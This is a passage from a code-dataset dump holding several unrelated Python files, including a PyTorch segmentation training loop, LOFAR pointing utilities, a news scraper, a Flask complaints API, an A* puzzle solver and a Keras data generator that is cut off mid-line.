mIoU_desc, first_pred\n\n\n def test_model(test_loader, net):\n\n net.eval()\n device = params['device']\n batch_size = params['batch_size']\n test_loss = 0\n test_acc = 0\n test_iou = {}\n with torch.no_grad():\n for batch_index, (img, target) in enumerate(test_loader):\n img, target = img.to(device), target.to(device)\n\n if model_version == 'deeplab':\n output = net(img)['out']\n else:\n output = net(img)\n\n target = target.long()\n loss = criterion(output, target).item()\n test_loss += loss\n\n pred = aux.get_predicted_image(output)\n\n output, target, pred = output.detach().cpu(), target.detach().cpu(), pred.detach().cpu()\n # compute number of correct predictions in the batch\n test_accuracy = metrics.calculate_accuracy(output, target)\n test_acc += test_accuracy\n\n iou_inds = metrics.calculate_iou(pred, target)\n\n for key in iou_inds:\n if key not in test_iou:\n test_iou[key] = iou_inds[key]\n else:\n test_iou[key] += iou_inds[key]\n\n test_loss = test_loss / (len(test_loader.dataset) / batch_size)\n test_acc = 100 * (test_acc / (len(test_loader.dataset) / batch_size))\n test_iou = metrics.convert_batched_iou(test_iou, (len(test_loader.dataset) / batch_size))\n mIoU = metrics.get_mIoU(test_iou)\n\n mIoU_desc = metrics.miou_to_string(test_iou)\n return test_loss, test_acc, mIoU, mIoU_desc\n\n\n #####################\n ## Build the net here\n if model_version == 'linear':\n print('set linear unet\\n')\n model = UNet(num_classes=params['num_classes'], start_features=params['start_features'])\n elif model_version == 'deeplab':\n print('set DeepLabv3\\n')\n model = torchvision.models.segmentation.deeplabv3_resnet50(pretrained_backbone=True)\n model.classifier[-1] = nn.Conv2d(256, params['num_classes'], 1)\n else:\n print('set ' + str(model_version) + ' unet\\n')\n model = UNetFull(num_classes=params['num_classes'], start_features=params['start_features'], bilinear=model_version == 'bilinear')\n\n ###################\n\n writer_date = datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n run_path = params['log_dir'] + '/' + experiment_id\n run_data_folder = run_path + '/' + writer_date\n tb_writer_train = SummaryWriter(log_dir= run_data_folder + \"/train\")\n tb_writer_val = SummaryWriter(log_dir= run_data_folder + \"/val\")\n images_train, targets_train = next(iter(train_loader))\n images_val, targets_val = next(iter(val_loader))\n\n aux.write_tensorboard_inicio(tb_writer_train,tb_writer_val, model, images_train, images_val, targets_val)\n\n ##################\n\n model.to(params['device'])\n net_params = model.parameters()\n\n\n #Depending on the inverted frequency parameter we apply this parameter as a weight to balance the Loss Function\n if inverted_freq == 'y':\n print('set Inverted Frequency weights \\n')\n num_pixels_per_class = [127414939, 21058643, 79041999, 2269832, 3038496, 4244760, 720425, 1911074, 55121339, 4008424, 13948699, 4204816, 465832, 24210293, 925225, 813190, 805591, 341018, 1430722]\n\n norm_weights = [(num_pixels/sum(num_pixels_per_class)) for num_pixels in num_pixels_per_class]\n inverted_weights = [(1/num_pixels) for num_pixels in norm_weights]\n inverted_weights = torch.FloatTensor(inverted_weights).to(params['device'])\n criterion = torch.nn.CrossEntropyLoss(weight=inverted_weights, ignore_index=255)\n else:\n criterion = torch.nn.CrossEntropyLoss(ignore_index=255)\n\n\n if opt == 'adam':\n print('set adam optimizer\\n')\n optimizer = torch.optim.Adam(net_params, lr=params['adam_learning_rate'], betas=(0.9, 0.999), eps=1e-08, weight_decay=params['adam_weight_decay'], amsgrad=False)\n elif opt == 'sgd':\n print('set SGD optimizer\\n')\n optimizer = torch.optim.SGD(net_params, lr=params['sgd_learning_rate'],momentum= params['sgd_momentum'], weight_decay=params['sgd_weight_decay'])\n\n best_epoch_miou, added_targg = 0, False\n\n print('Dataset train images: {}, dataset val images: {}'.format(len(train_loader.dataset), len(val_loader.dataset)))\n\n train_losses, train_acc_hist, val_losses, val_acc_hist, mIoU_hist_train, mIoU_hist_val = [], [], [], [], [], []\n for epoch in range(1, params['num_epochs'] +1):\n\n # Compute & save the average training loss for the current epoch\n print('#################### Epoch: {} ####################\\n'.format(epoch))\n\n aux.print_timestamp('Inicio training epoch {}'.format(epoch))\n train_loss, train_acc, train_mIoU, mIoU_desc_train = train_one_epoch(train_loader, model, optimizer, criterion, params)\n print('Training set: Average loss {:.4f}, Average accuracy {:.2f}%, mIoU: {:.2f}\\n{}\\n'.format(train_loss, train_acc, train_mIoU, mIoU_desc_train))\n\n aux.print_timestamp('Inicio validacion epoch {}'.format(epoch))\n val_loss, val_acc, val_mIoU, mIoU_desc_val, first_pred = val_one_epoch(val_loader, model)\n print('Validation set: Average loss: {:.4f}, Mean accuracy: {:.2f}%, mIoU: {:.2f}\\n{}\\n'.format(val_loss, val_acc, val_mIoU, mIoU_desc_val))\n\n train_mAP = sum(train_acc_hist) / epoch # params['num_epochs']\n val_mAP = sum(val_acc_hist) / epoch # params['num_epochs']\n\n if val_mIoU > best_epoch_miou:\n best_epoch_miou = val_mIoU\n print('Guardamos el modelo en epoch {} ( mIoU {:.2f})'.format(epoch, val_mIoU))\n aux.save_model(model, run_data_folder +'/best')\n aux.write_tensorboard_best_IoU(tb_writer_val, val_mIoU, epoch)\n\n train_acc_hist.append(train_acc)\n val_acc_hist.append(val_acc)\n\n mIoU_hist_train.append(train_mIoU)\n mIoU_hist_val.append(val_mIoU)\n\n\n aux.write_tensorboard_epoch(tb_writer_train, tb_writer_val,run_data_folder, first_pred[0], epoch, train_loss, train_acc, val_loss, val_acc, train_mIoU, val_mIoU, train_mAP, val_mAP)\n\n aux.save_model(model, run_data_folder +'/last')\n print('Fin del entrenamiento\\n')\n\n tb_writer_train.close()\n tb_writer_val.close()\n\n #############\n #####Test####\n #############\n model = aux.load_model(run_data_folder +'/best')\n print('Dataset test images: {}'.format(len(test_loader.dataset)))\n test_loss, test_acc, mIoU, mIoU_desc = test_model(test_loader, model)\n print('Test set: Average loss: {:.4f}, Mean accuracy: {:.2f}%, mIoU: {:.2f}%\\n{}\\n'.format(test_loss, test_acc, mIoU, mIoU_desc))\n\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-opt', '--optimizer', default='adam', help='Optimizer for the execution')\n parser.add_argument('-net', '--network', default='trans', help='Model version (with/out concatenations), Unet or DeepLabv3')\n parser.add_argument('-ds', '--dataset', default='cityscapes', help='cityscapes full dataset, it6 skim version')\n parser.add_argument('-da', '--data_augmentation', default='n', help='Apply data augmentation, random horizontal flip and color jitter')\n parser.add_argument('-invf', '--inverted_freq', default='n', help='Apply inverted frequency to the criterion')\n parser.add_argument('-weather', '--weather', default='n', help='Apply weatherdata augmentation, cloud, rain, snow and fog')\n args = parser.parse_args()\n print('{}, {}, {}, {}, {}, {}'.format(args.optimizer, args.network, args.dataset, args.data_augmentation, args.inverted_freq, args.weather))\n\n main(opt= args.optimizer, model_version=args.network, ds_version=args.dataset, data_augmentation=args.data_augmentation, inverted_freq=args.inverted_freq, weather=args.weather)\n","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":18996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"162853861","text":"import os\nimport math\n\nimport numpy\nimport yaml\n\nimport ilisa.observations\n\n\ndef pointingGrid(NrAzDirs=8, NrElDirs=7):\n \"\"\"Returns a tuple of LOFAR beamctl directions strings of a spherical\n grid of pointings around zenith.\"\"\"\n # Nr of pointings NrAzDirs*NrElDirs+1 (where 1 is zenith)\n # should be less than 61 if they are to fit in one lane.\n az = numpy.linspace(0, 2*math.pi, NrAzDirs+1)\n numpy.delete(az, NrAzDirs)\n az = az-0*math.pi/4\n el = numpy.linspace(0, math.pi/2, NrElDirs+1)\n numpy.delete(el, NrElDirs)\n pntGridStrs = []\n # El Major:\n for ElDirNr in range(NrElDirs):\n for AzDirNr in range(NrAzDirs):\n nextPnting = str(az[AzDirNr])+\",\"+str(el[ElDirNr])+\",AZELGEO\"\n pntGridStrs.append(nextPnting)\n zenith = '0.0,'+str(math.pi/2)+',AZELGEO'\n pntGridStrs.append(zenith)\n return tuple(pntGridStrs)\n\n\ndef pointing_str2tuple(beamctldirarg):\n \"\"\"Convert a beamctl direction string into direction tuple.\n\n Parameters\n ----------\n beamctldirarg : str\n String with format 'angle1,angle2,refsys'\n\n Returns\n -------\n dirtuple : tuple or None\n Direction tuple defined as (angle1: float, angle2: float, refsys: str)\n or None if beamctldirarg was not correct format.\n \"\"\"\n try:\n angle1str, angle2str, refsys = beamctldirarg.split(',')\n angle1, angle2 = float(angle1str), float(angle2str)\n # TODO should check that refsys is one of the valid refsys strings.\n dirtuple = (angle1, angle2, refsys)\n return dirtuple\n except ValueError:\n return None\n\n\ndef std_pointings(directionterm='?'):\n \"\"\"Find beamctl direction string based on direction term.\n\n Parameters\n ----------\n directionterm : str, '?', '', or None\n Source name or term for a direction. E.g. 'Z' for Zenith\n or 'Cas-A' for Cassiopeia A.\n\n Returns\n -------\n beamctldir : str\n Argument suitable for beamctl direction arguments --anadir and\n --digdir. If directionterm is None it will return all the direction terms it\n knows. If it is '', then it will return an empty direction ',,'.\n\n Raises\n ------\n KeyError\n Thrown if directionterm is not understood.\n \"\"\"\n term2beamstr = { # 1e-6 rad < 1arcsec\n '': ',,',\n 'N': str(0*math.pi/2)+',0.,AZELGEO',\n 'E': str(1*math.pi/2)+',0.,AZELGEO',\n 'S': str(2*math.pi/2)+',0.,AZELGEO',\n 'W': str(3*math.pi/2)+',0.,AZELGEO',\n 'Z': '0.,'+str(math.pi/2)+',AZELGEO',\n 'CasA': '6.123487,1.026515,J2000', # Alternative to 'Cas-A'\n 'Cas-A': '6.123487,1.026515,J2000', # 3C-461\n 'Cyg-A': '5.233660,0.710940,J2000', # 3C-405\n 'Tau-A': '1.459672,0.384225,J2000', # 3C-144\n 'Vir-A': '3.276086,0.216265,J2000', # 3C-274\n 'Sun': '0.,0.,SUN',\n 'Jupiter': '0.,0.,JUPITER',\n 'Moon': '0.,0.,MOON',\n 'NCP': '0.,'+str(math.pi/2)+',ITRF'\n }\n if directionterm is '?':\n return term2beamstr.keys()\n if directionterm in term2beamstr:\n return term2beamstr[directionterm]\n elif directionterm is None:\n return None\n else:\n raise KeyError('Requested source {} unknown.'.format(directionterm))\n\n\ndef normalizebeamctldir(gendirstr):\n \"\"\"Parse a general direction string.\n\n Parameters\n ----------\n gendirstr : str\n This could be one of the direction terms or it could a beamctl\n direction string.\n\n Returns\n -------\n beamctldirstr : str\n The beamctl direction string corresponding to input gendirstr. If gendirstr is\n None, then beamctldirstr is None.\n \"\"\"\n if gendirstr is None:\n return None\n beamctldir = pointing_str2tuple(gendirstr)\n if beamctldir is None:\n try:\n beamctldirstr = std_pointings(gendirstr)\n except:\n raise ValueError('General direction term {} unknown.'.format(gendirstr))\n else:\n beamctldirstr = gendirstr\n return beamctldirstr\n\n\ndef lookupsource(src_name):\n \"\"\"Lookup the pointing direction for the name of a source stored in user created\n files.\n\n Parameters\n ----------\n src_name : str\n Name of source.\n\n Returns\n -------\n pointing : tuple\n Length 3 tuple with (az, el, ref).\n\n \"\"\"\n src_database = {}\n user_srcs_dir = os.path.join(ilisa.observations.user_data_dir, 'sources')\n user_srcs_files = os.listdir(user_srcs_dir)\n\n for user_srcs_file in user_srcs_files:\n with open(os.path.join(user_srcs_dir, user_srcs_file)) as usf:\n srcs_data = yaml.load(usf)\n for source_entry in srcs_data:\n source_name = source_entry['source']\n pointingstr = source_entry['pointing']\n src_database[source_name] = pointing_str2tuple(pointingstr)\n try:\n pointing = src_database[src_name]\n except KeyError:\n raise RuntimeError('Source {} not found in {}.'.format(src_name,\n user_srcs_files))\n return pointing","sub_path":"ilisa/observations/directions.py","file_name":"directions.py","file_ext":"py","file_size_in_byte":5101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"465840942","text":"import requests\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\n\nURL = 'https://news.google.com/topics/CAAqLQgKIidDQkFTRndvSkwyMHZNR1ptZHpWbUVnWmxjeTAwTVRrYUFrMVlLQUFQAQ?hl=es-419&gl=MX&ceid=MX%3Aes-419'\n\nif __name__ == '__main__':\n response = requests.get(URL)\n\n # Cron \n\n if response.status_code == 200:\n content = response.text\n\n soup = BeautifulSoup(content, 'html.parser')\n\n now = datetime.now().strftime('%d_%m_%Y %H_%M')\n print(now)\n # newa_dia_mes_ano.txt\n with open(f'news/news_{now}.text', 'w+') as file:\n #print(soup.prettify())\n for element in soup.find_all('h3', class_='ipQwMb ekueJc RD0gLb', limit=20):\n\n title = element.a.text\n #print(title)\n file.write(title + '\\n')\n \n print('Archivo generado de manera exitosa')\n\n","sub_path":"cron.py","file_name":"cron.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"78817736","text":"import os\nfrom datetime import datetime \nfrom flask import request, jsonify\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom bson.objectid import ObjectId\nfrom app import app, mongo\nfrom app.schemas import validate_complaint, validate_complaint_update\nimport logger\n\nROOT_PATH = os.environ.get('ROOT_PATH')\nLOG = logger.get_root_logger(__name__, filename=os.path.join(ROOT_PATH, 'output.log'))\n\n\n@app.route('/complaints', methods=['GET', 'POST', 'DELETE', 'PATCH'])\ndef complaint():\n ''' route read complaints'''\n if request.method == 'GET':\n query = request.args\n data = mongo.db.complaints.find({})\n data = list(data)\n return jsonify({'ok': True, 'data': data}), 200\n\n\n data = request.get_json()\n\n if request.method == 'POST':\n # user = get_jwt_identity()\n # if data['creator_email'] == user['email'] : # change to use id instead of email\n data = validate_complaint(data)\n if data['ok'] :\n data = data['data']\n data['timestamp'] = str(datetime.today())\n insert_id = mongo.db.complaints.insert_one(data)\n # print type(insert_id)\n return_data = mongo.db.complaints.find_one({'_id' : insert_id.inserted_id})\n return jsonify({'ok': True, 'data': return_data}), 200\n else:\n return jsonify({'ok': False, 'message': 'Bad request parameters: {}'.format(data['message'])}), 400\n # else:\n # jsonify({'ok': False, 'message': 'No user with that email is found!'}), 400\n\n if request.method == 'DELETE':\n if data.get('id', None) is not None:\n db_response = mongo.db.complaints.delete_one({'_id': ObjectId(data['id'])})\n if db_response.delete_count == 1:\n response = {'ok': True, 'message': 'record deleted'}\n else:\n response = {'ok': True, 'message': 'no record found'}\n return jsonify(response), 200\n else:\n return jsonify({'ok': False, 'message': 'Bad request parameters!'}), 400\n\n if request.method == 'PATCH':\n data = validate_complaint_update(data)\n if data['ok']:\n data = data['data']\n mongo.db.complaints.update_one(\n {'_id': ObjectId(data['id'])}, {'$set': data['payload']}\n )\n return jsonify({'ok': True, 'message': 'record updated'}), 200\n else:\n return jsonify({'ok': False, 'message': 'Bad request parameters: {}'.format(data['message'])}), 400\n\n\n@app.route('/list/complaint/user/', methods=['GET'])\ndef list_complaints(email):\n ''' route to get all complaints for a user '''\n #user = {'id': user_id}\n if request.method == 'GET':\n # query = request.args\n # email = query.get('email')\n data = mongo.db.complaints.find({'creator_email' : email})\n # if query.get('group', None):\n # return_data = {}\n # for complaint in data:\n # try:\n # return_data[complaint['status']].append(complaint)\n # except:\n # return_data[complaint['status']] = [complaint]\n # else:\n return_data = list(data)\n return jsonify({'ok': True, 'data': return_data})\n\n@app.route('/complaint/user', methods=['GET'])\ndef user_complaint():\n query = request.args \n data = mongo.db.complaints.find_one(query)\n return jsonify(data), 200","sub_path":"modules/app/controllers/complaint.py","file_name":"complaint.py","file_ext":"py","file_size_in_byte":3492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"492879609","text":"# Python 3\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n sol = [0]\n buy = 0\n for i in range(1, len(prices)):\n if prices[i] > prices[buy]:\n sol.append(max(sol[-1], prices[i]-prices[buy]))\n else:\n buy = i\n sol.append(sol[-1])\n res = sol[-1]\n sell = len(prices)-1\n for i in range(len(prices)-2, 0, -1):\n if prices[i] < prices[sell]:\n res = max(res, sol[i-1]+prices[sell]-prices[i])\n else:\n sell = i\n return res\n \n\n","sub_path":"leetcode/123__BestTimetoBuyandSellStockIII.py","file_name":"123__BestTimetoBuyandSellStockIII.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"291609464","text":"# -*- coding: utf-8 -*-\nmatriz=[]\nM=int(input(\"Digite o número M de quadras no sentido Norte/Sul:\"))\nN=int(input(\"Digite o número N de quadras no sentido Leste/Oeste:\"))\nfor i in range (0,M,1):\n m=[]\n for j in range (0,N,1):\n m.append(int(input(\"valor da quadra: \")))\n matriz.append(m)\nprint(matriz)\nc=[]\nfor j in range (0,N,1):\n soma=0\n for i in range (0,M,1):\n soma += matriz[i][j]\n c.append(soma)\nfor i in range(0,M,1):\n if c[i]<=c[i+1]:\n print(c)\n \n \n\n\n\n\n \n \n \n \n \n \n ","sub_path":"moodledata/vpl_data/452/usersdata/289/104007/submittedfiles/avenida.py","file_name":"avenida.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"66050933","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n__author__ = 'Vasiliy Ermilov, e-mail: inkz@xakep.ru, telegram: inkz1'\n\nimport logging\nimport re\nfrom AbstractParser import AbstractParser\nfrom src.RegExpressionsLib import LinuxHttpdAccessLogRegex\n\n\nclass LinuxHttpdAccessLogParser(AbstractParser):\n\tmessage_format = 'LinuxHttpdAccessLogParser'\n\tlog_type = 'http_access'\n\tpaths = []\n\n\tdef __init__(self):\n\t\tlogging.info('Initiating http access log parser')\n\n\tdef _parse(self, line):\n\t\tmatch = re.match(LinuxHttpdAccessLogRegex.TYPE_1, line)\n\t\tmatch_type2 = None\n\n\t\tif match is None:\n\t\t\tmatch_type2 = re.match(LinuxHttpdAccessLogRegex.TYPE_2, line)\n\t\t\tif match_type2 is None:\n\t\t\t\treturn 0\n\t\t\telse:\n\t\t\t\tresult = dict(timestamp = match_type2.group(2), ip = match_type2.group(1), request_type = match_type2.group(3),\n\t\t address = match_type2.group(4), protocol = match_type2.group(5), status = match_type2.group(6),\n\t\t length = match_type2.group(7),\n\t\t referrer = match_type2.group(8), user_agent = match_type2.group(9))\n\n\t\telse:\n\t\t\tresult = dict(timestamp = match.group(2), ip = match.group(1), request_type = match.group(3),\n\t\t\t address = match.group(4), protocol = match.group(5), status = match.group(6), length = match.group(7),\n\t\t\t referrer = match.group(8), user_agent = match.group(9), extra_info = match.group(10))\n\t\treturn result\n","sub_path":"agents/linux/parsers/LinuxHttpdAccessLogParser.py","file_name":"LinuxHttpdAccessLogParser.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"340150932","text":"import tensorflow as tf\nfrom models.model_util import sequence_length_op\n\n\ndef two_phase_train_graph(loss, predictions, mode, is_pretrain, params):\n estimator_spec = None\n if mode == tf.estimator.ModeKeys.PREDICT:\n estimator_spec = tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n else:\n if mode == tf.estimator.ModeKeys.TRAIN:\n with tf.name_scope('train_op'):\n optimizer = tf.train.AdamOptimizer(learning_rate=params.learning_rate)\n # compute the gradient\n if is_pretrain:\n var_list = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='pretrain')\n else:\n var_list = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='train')\n\n gradient = optimizer.compute_gradients(loss, var_list=var_list)\n capped_gradient = [(tf.clip_by_norm(grad, params.clip_grad_norm), var) for grad, var in gradient]\n train_op = optimizer.apply_gradients(capped_gradient, global_step=tf.train.get_global_step())\n return tf.estimator.EstimatorSpec(mode, loss=loss, train_op=train_op)\n elif mode == tf.estimator.ModeKeys.EVAL:\n perplexity = tf.metrics.mean(tf.exp(loss))\n estimator_spec = tf.estimator.EstimatorSpec(mode, loss=loss, eval_metric_ops={\n 'perplexity': perplexity\n })\n return estimator_spec\n","sub_path":"models/train_graph.py","file_name":"train_graph.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"554135140","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom PIL import Image, ImageDraw\nfrom core import HPError\n\n\nclass LengthError(HPError):\n\n def __init__(self, message):\n self.message = message\n\n def __str__(self):\n return self.message\n\n\ndef show(coord, types):\n if len(coord) != len(types):\n raise LengthError('Lengths of arguments are not the same.')\n minx = 0\n maxx = 0\n miny = 0\n maxy = 0\n for i in range(len(coord)):\n x = coord[i][0]\n y = coord[i][1]\n minx = min(minx, x)\n maxx = max(maxx, x)\n miny = min(miny, y)\n maxy = max(maxy, y)\n\n width = maxx-minx+1\n height = maxy-miny+1\n\n field = []\n for i in range(width):\n field.append([])\n for j in range(height):\n field[i].append(None)\n\n for i in range(len(coord)):\n x = coord[i][0] - minx\n y = coord[i][1] - miny\n field[x][y] = types[i]\n\n for j in range(height):\n for i in range(width):\n c = field[i][j]\n if c is None:\n c = \" \"\n print(c, end=\" \")\n print(\"\")\n\ndef mkimg(coord, types, bgcolor=(0xff, 0xff, 0xff),\n size=20, gap=20, compact=True):\n BLACK=(0x00, 0x00, 0x00)\n if len(coord) != len(types):\n raise LengthError('Lengths of arguments are not the same.')\n if compact:\n minx = 0\n maxx = 0\n miny = 0\n maxy = 0\n for i in range(len(coord)):\n x = coord[i][0]\n y = coord[i][1]\n minx = min(minx, x)\n maxx = max(maxx, x)\n miny = min(miny, y)\n maxy = max(maxy, y)\n else:\n length = len(coord)\n minx = -length\n maxx = length\n miny = -length\n maxy = length\n\n width = maxx-minx+1\n height = maxy-miny+1\n box_side = size + gap\n half = box_side / 2\n\n screen = (width * box_side, height * box_side)\n img = Image.new('RGB', screen, bgcolor)\n drw = ImageDraw.Draw(img)\n\n fill = (BLACK, bgcolor)\n pre = ((coord[0][0]-minx)*box_side,\n (coord[0][1]-miny)*box_side)\n for i in range(1, len(coord)):\n x = (coord[i][0]-minx)*box_side\n y = (coord[i][1]-miny)*box_side\n drw.line(((pre[0]+half, pre[1]+half), (x+half, y+half)),\n BLACK, 2)\n drw.rectangle(((pre[0]+gap/2, pre[1]+gap/2),\n (pre[0]+gap/2+size, pre[1]+gap/2+size)),\n fill[types[i-1]], BLACK)\n pre = (x, y)\n drw.rectangle(((pre[0]+gap/2, pre[1]+gap/2),\n (pre[0]+gap/2+size, pre[1]+gap/2+size)),\n fill[types[-1]], BLACK)\n\n return img\n","sub_path":"vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"632814289","text":"from node import Node\n\n\nclass AstarAlgorithm:\n \"\"\"\n 1. Добавить стартовую клетку в открытый список (при этом её значения G, H и F равны 0).\n 2. Повторять следующие шаги:\n - Ищем в открытом списке клетку с наименьшим значением величины F, делаем её текущей.\n - Удаляем текущую клетку из открытого списка и помещаем в закрытый список.\n - Для каждой из соседних, к текущей клетке, клеток:\n - Если клетка непроходима или находится в закрытом списке, игнорируем её.\n - Если клетка не в открытом списке, то добавляем её в открытый список, при этом рассчитываем для неё значения G, H и F, и также устанавливаем ссылку родителя на текущую клетку.\n - Если клетка находится в открытом списке, то сравниваем её значение G со значением G таким, что если бы к ней пришли через текущую клетку. Если сохранённое в проверяемой клетке значение G больше нового, то меняем её значение G на новое, пересчитываем её значение F и изменяем указатель на родителя так, чтобы она указывала на текущую клетку.\n - Останавливаемся, если:\n - В открытый список добавили целевую клетку (в этом случае путь найден).\n - Открытый список пуст (в этом случае к целевой клетке пути не существует).\n 3. Сохраняем путь, двигаясь назад от целевой точки, проходя по указателям на родителей до тех пор, пока не дойдём до стартовой клетки.\n \n Sources:\n https://vitalissius.github.io/A-Star-Pathfinding-for-Beginners/\n \"\"\"\n\n def __init__(self, initial_state, parent=None, action=None, goal=None, h_strategy='misplaced'):\n self.initial_state = initial_state\n self.parent = parent\n self.action = action\n self.goal = goal\n self.h_strategy = h_strategy\n self.close_set_size = 0\n\n def fit(self):\n final_node, close_set_size = AstarAlgorithm.__algorithm_iter(\n init_node=Node(self.initial_state, self.parent, self.action, self.goal, self.h_strategy),\n )\n self.close_set_size = close_set_size\n return final_node.find_solution()\n\n @staticmethod\n def __algorithm_iter(init_node):\n open_list = [init_node]\n open_hash_set = {init_node.hash_value}\n close_hash_set = set()\n\n while len(open_list) > 0:\n # find node with minimum f-value\n node = min(open_list, key=lambda x: x.f)\n\n # remove node from open-list and add to close-list\n open_list.remove(node)\n open_hash_set.remove(node.hash_value)\n close_hash_set.add(node.hash_value)\n\n # generate childs of this state\n neighbors = node.generate_child()\n for n in neighbors:\n if n.hash_value in close_hash_set:\n continue\n\n if n.hash_value not in open_hash_set:\n open_list.append(n)\n open_hash_set.add(n.hash_value)\n else:\n open_node = open_list[open_list.index(n)]\n if open_node.depth > n.depth:\n open_list.remove(open_node)\n open_list.append(n)\n for node in open_list:\n if node.is_goal:\n return node, len(close_hash_set)\n return None, 0\n","sub_path":"ai-kau-course/02-lab/a_star.py","file_name":"a_star.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"565161964","text":"from flask_script import Manager, Server\nfrom flask_migrate import Migrate, MigrateCommand\nfrom main import app, db, User, Post, Comment, Tag\n\n# 通過app對象和SQLAlchemy的實例初始化了Migrate對象,然後讓遷移命令可以通過\n# manage.py db 來調用。\nmigrate = Migrate(app, db)\n\n # 把app傳給Manager,以初始化Flask Script\nmanager = Manager(app)\n # 添加一些命令。這裡運行的服務器跟通過main.py運行的普通開發服務器是一樣的。\nmanager.add_command('server', Server())\nmanager.add_command('db', MigrateCommand)\n\n # 創建一個python命令行,並且在應用上下文中執行。\n@manager.shell\ndef make_shell_context():\n # 返回的dict會告訴Flask Script在打開命令行時,進行一些默認的導入工作。\n return dict(app=app, db=db, User=User, Post=Post,\n Comment=Comment, Tag=Tag)\n # !! 每新增一個模型,都會在這邊導入並添加到dict中。\n\n'''\n* 通過manage.py來運行命列在將來是十分必要的,因為一些擴展\n 只有在Flask應用對象被創建之後才會被初始化。\n* 直接運行默認的python命令行能讓這些擴展返回錯誤\n'''\nif __name__ == '__main__':\n manager.run()\n\n\n\n\n\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"434669371","text":"from typing import List\nfrom bisect import insort, bisect\nfrom collections import defaultdict\n\n\nclass Solution(object):\n def lengthOfLIS(self, nums: List[int]) -> int:\n if len(nums) <= 1:\n return len(nums)\n\n max_value = 0\n\n d = defaultdict(int)\n lst = list()\n for num in nums:\n\n index = bisect(lst, num)\n\n if index == 0:\n d[num] = 1\n\n elif index == len(lst):\n max_value += 1\n d[num] = max_value\n\n elif lst[index - 1] < num:\n d[num] = max(d[num], d[lst[index - 1]] + 1)\n max_value = max(max_value, d[num])\n else:\n d[num] = max(max_value, d[num])\n insort(lst, num)\n print(d)\n return max(d.values())\n\n\n# class Solution:\n# def lengthOfLIS(self, nums: List[int]) -> int:\n# if len(nums) <= 1:\n# return len(nums)\n#\n# dp = [1] * len(nums)\n# max_length = 1\n#\n# for i in range(1, len(nums)):\n# for j in range(0, i):\n# if nums[i] > nums[j] and dp[i] < dp[j] + 1:\n# dp[i] = dp[j] + 1\n# if dp[i] > max_length:\n# max_length = dp[i]\n#\n# return max_length\n\nfrom collections import Counter\n\n\ndef a(string):\n cd = Counter(string)\n\n if cd[\"1\"] == 0:\n if cd[\"0\"] > 2:\n return \"Impossible\"\n else:\n return string\n\n ans = \"\"\n while cd[\"0\"] > 1 and cd[\"1\"] > 0:\n ans = \"00\" + ans\n cd[\"0\"] -= 2\n ans = \"1\" + ans\n cd[\"1\"] -= 1\n if cd[\"0\"] == 1:\n if cd[\"1\"] == 0:\n return \"0\" + ans\n else:\n return \"Impossible\"\n return cd[\"1\"] * \"1\" + ans\n\n\nif __name__ == '__main__':\n print(a(\"01110\"))\n print(a(\"000\"))\n # S = Solution()\n # a = S.lengthOfLIS([10, 9, 2, 5, 3, 7, 101, 18])\n # print(a)\n\n # lst = list()\n # print(bisect(lst, 1000))\n #\n # insort(lst, 2)\n # insort(lst, 10)\n # insort(lst, 1)\n # print(lst)\n #\n # print(bisect(lst, 1000))\n # print(bisect(lst, 1))\n # print(bisect(lst, 1.5))\n # print(bisect(lst, 0))\n","sub_path":"src/p0300/python3/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"251546639","text":"import logging\nimport numpy as np\nfrom keras.utils import Sequence\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D\n\n\nclass MyGenerator(Sequence):\n \"\"\"\n Generator class to read examples straight from file.\n \"\"\"\n\n def __init__(self, x_filenames, y_filenames, n_channels, n_points, n_padding, batch_size):\n self.x_filenames = x_filenames\n self.y_filenames = y_filenames\n self.batch_size = batch_size\n self.n_points = n_points\n self.n_padding = n_padding\n self.n_channels = n_channels\n\n def __len__(self):\n return int(np.ceil(len(self.x_filenames) / float(self.batch_size)))\n\n def __getitem__(self, idx):\n x_batch = self.x_filenames[idx * self.batch_size: (idx + 1) * self.batch_size]\n y_batch = self.y_filenames[idx * self.batch_size: (idx + 1) * self.batch_size]\n x = np.empty((len(x_batch), self.n_points+2*self.n_padding, self.n_points+2*self.n_padding, self.n_channels))\n y = np.empty((len(y_batch), self.n_points, self.n_points, self.n_channels))\n for i, 